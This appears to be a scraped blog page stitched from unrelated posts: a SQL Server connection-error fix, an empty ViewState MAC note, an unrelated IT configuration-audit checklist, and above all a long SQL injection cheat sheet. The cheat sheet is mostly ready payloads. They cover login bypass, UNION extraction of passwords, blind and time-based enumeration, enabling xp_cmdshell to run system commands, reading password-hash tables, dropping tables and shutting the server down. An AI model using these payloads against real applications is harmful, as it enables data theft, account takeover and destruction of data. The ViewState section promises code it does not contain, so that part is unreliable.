Error: (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified)

A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified)

How to fix SQL Network Interfaces, error: 26?

First of all, you get this error message only if you are trying to connect to a SQL Server named instance. For default instance, you never see this. Why? Because even if we failed at this stage (i.e. error locating server/instance specified), we will continue to try connect using default values, e.g defaul TCP port 1433, default pipe name for Named Pipes. You may see other error message due to failure later, but not this error message.

Every time client makes a connection to SQL Server named instance, we will send a SSRP UDP packet to the server machine UDP port 1434. We need this step to know configuration information of the SQL instance, e.g., protocols enabled, TCP port, pipe name etc. Without these information, client does know how to connect the server and it fails with this specified error message.

In a word, the reason that we get this error message is the client stack could not receive SSRP response UDP packet from SQL Browser. It's easy to isolate the issue. Here are the steps:
1) Make sure your server name is correct, e.g., no typo on the name.
2) Make sure your instance name is correct and there is actually such an instance on your target machine. [Update: Some application converts \\ to \. If you are not sure about your application, please try both Server\Instance and Server\\Instance in your connection string]
3) Make sure the server machine is reachable, e.g, DNS can be resolve correctly, you are able to ping the server (not always true).
4) Make sure SQL Browser service is running on the server.
5) If firewall is enabled on the server, you need to put sqlbrowser.exe and/or UDP port 1434 into exception.

Once you are done the steps, you should not see this error message anymore. You may still fail to connect your SQL server, but error message should be different and you have a different issue now. [Update: If it still fails, you may replace server\instance with tcp:server\instance and/or np:server\instance and see if it succeeds with either TCP or NP protocol. That way, you can isolate the issue a little bit. ]

Error : "Validation of ViewState Mac failed" with ASP.NET 2.0

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

To fix it, add the below given code into your web.config or
the file that you are executing and see if your issue gets fixed.

"

"

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'

Real World Samples

• Are we 'sa' ?
  if (select user) = 'sa' waitfor delay '0:0:10'
• ProductID = 1;waitfor delay '0:0:10'--
• ProductID =1);waitfor delay '0:0:10'--
• ProductID =1';waitfor delay '0:0:10'--
• ProductID =1');waitfor delay '0:0:10'--
• ProductID =1));waitfor delay '0:0:10'--
• ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)

Real World Samples

• Are we root ? woot!
  IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  
  
• Check Table exist in MySQL
  IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
  

pg_sleep(seconds) (P)

Sleep for supplied seconds.

• SELECT pg_sleep(10);
  Sleep 10 seconds.

SQL Injection Cheat Sheet 3

SQL Injection Cheat Sheet :

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --


Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping <ip address>'
You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

• Error Messages
  master..sysmessages
  
  
• Linked Servers
  master..sysservers
  
  
• Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
  SQL Server 2000: masters..sysxlogins
  SQL Server 2005 : sys.sql_logins


More Stored Procedures for SQL Server (S)

1. Cmd Execute (xp_cmdshell)
   exec master..xp_cmdshell 'dir'
   
   
2. Registry Stuff (xp_regread)
   
   1. xp_regaddmultistring
   2. xp_regdeletekey
   3. xp_regdeletevalue
   4. xp_regenumkeys
   5. xp_regenumvalues
   6. xp_regread
   7. xp_regremovemultistring
   8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
      
      
3. Managing Services (xp_servicecontrol)
   
4. Medias (xp_availablemedia)
   
5. ODBC Resources (xp_enumdsn)
   
6. Login mode (xp_loginconfig)
   
7. Creating Cab Files (xp_makecab)
   
8. Domain Enumeration (xp_ntsec_enumdomains)
   
9. Process Killing (need PID) (xp_terminate_process)
   
10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
    exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)
    

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

• Modify WHERE and use NOT IN or NOT EXIST,
  ... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
  
  
• Using Dirty Tricks
  SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
  

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

SQL Injection Cheat Sheet 2

SQL Injection Cheat Sheet :

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

• IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL Server If Statement

• IF condition true-part ELSE false-part (S)
  IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

• 0xHEXNUMBER (SM)
  You can  write hex like these;
  
  SELECT CHAR(0x66) (S)
  SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
  SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

• + (S)
  SELECT login + '-' + password FROM members
  
  
• || (*MO)
  SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. Better way to do it is using CONCAT() function in MySQL.

• CONCAT(str1, str2, str3, ...) (M)
  Concatenate supplied strings.
  SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

• 0x457578 (M) - Hex Representation of string
  SELECT 0x457578
  This will be selected as string in MySQL.
  
  In MySQL easy way to generate hex representations of strings use this;
  SELECT CONCAT('0x',HEX('c:\\boot.ini'))
  
  
• Using CONCAT() in MySQL
  SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
  This will return 'KLM'.
  
  
• SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
  This will return 'KLM'.

Hex based SQL Injection Samples

• SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
  This will show the content of c:\boot.ini

String Modification & Related

• ASCII() (SMP)
  Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
  
  SELECT ASCII('a')
  
  
• CHAR() (SM)
  Convert an integer of ASCII.
  
  SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

• SQL Server (S)
  Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
  
  SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  
  
• MySQL (M)
  Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....

• Login as different user (SM*)
  ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

• ' HAVING 1=1 --
• ' GROUP BY table.columnfromerror1 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
• If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N-- so on
• Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

• Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

•  ' union select sum(columntofind) from users-- (S)
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  
  If you are not getting error it means column is numeric.
  
  
• Also you can use CAST() or CONVERT()
  • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
    
    
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
  No Error - Syntax is right. MS SQL Server Used. Proceeding.
  
  
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
  No Error – First column is an integer.
  
  
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
  Error! – Second column is not an integer.
  
  
• 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
  No Error – Second column is a string.
  
  
• 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
  Error! – Third column is not an integer. ...
  
  Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

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Explore the seven wonders of the world Learn more!

What is SQL Injection, and SQL Injection Cheat Sheet 1

SQL Injection:

"An attack technique used to exploit web sites by altering backend SQL statements through manipulating application input."

SQL Injection happens when a developer accepts user input that is directly placed into a SQL Statement and doesn't properly filter out dangerous characters. This can allow an attacker to not only steal data from your database, but also modify and delete it. Certain SQL Servers such as Microsoft SQL Server contain Stored and Extended Procedures (database server functions). If an attacker can obtain access to these Procedures it may be possible to compromise the entire machine. Attackers commonly insert single qoutes into a URL's query string, or into a forms input field to test for SQL Injection. If an attacker receives an error message like the one below there is a good chance that the application is vulnerable to SQL Injection.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/wasc.asp, line 69

SQL Injection Cheat Sheet:
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

Line Comments Sample SQL Injection Attacks

• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

• /*Comment Here*/ (SM)
  • DROP/*comment*/sampletable
  • DR/**/OP/*bypass blacklisting*/sampletable
  • SELECT/*avoid-spaces*/password/**/FROM/**/Members
    
    
• /*! MYSQL Special SQL */ (M)
  This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
  
  SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

• ID: 10; DROP TABLE members /*
  Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  
  
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks

• ID: /*!32302 10*/
• ID: 10
  You will get the same response if MySQL version is higher than 3.23.02
  
  
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

10 Critical Factors to CCM Success

10 Key Elements of a Configuration and Audit Control Solution:
To fully realize the benefits of Configuration Audit and Control, there are a number of elements to be considered
in order to effectively evaluate potential solutions. These criteria have been broken down into 10 primary areas. Each element provides an important capability of a Configuration Audit and Control solution, and implementation
should be weighted based on the organizational
requirements and process maturity of each business
unit being supported.

1. Ensure configurations meet organizational standards
2. Detect all changes across the entire IT service stack
3. Capture detailed configuration change data in a timely manner
4. Audit configuration changes independent of automated tools
5. Reconcile changes with organizational change policies
6. Allow change management systems to reconcile with change tickets
7. Provide comprehensive, multi-level reporting and alerting
8. Link with corporate CMDB to assure configuration and change data integrity
9. Roll back inappropriate changes
10. Support for virtualized environments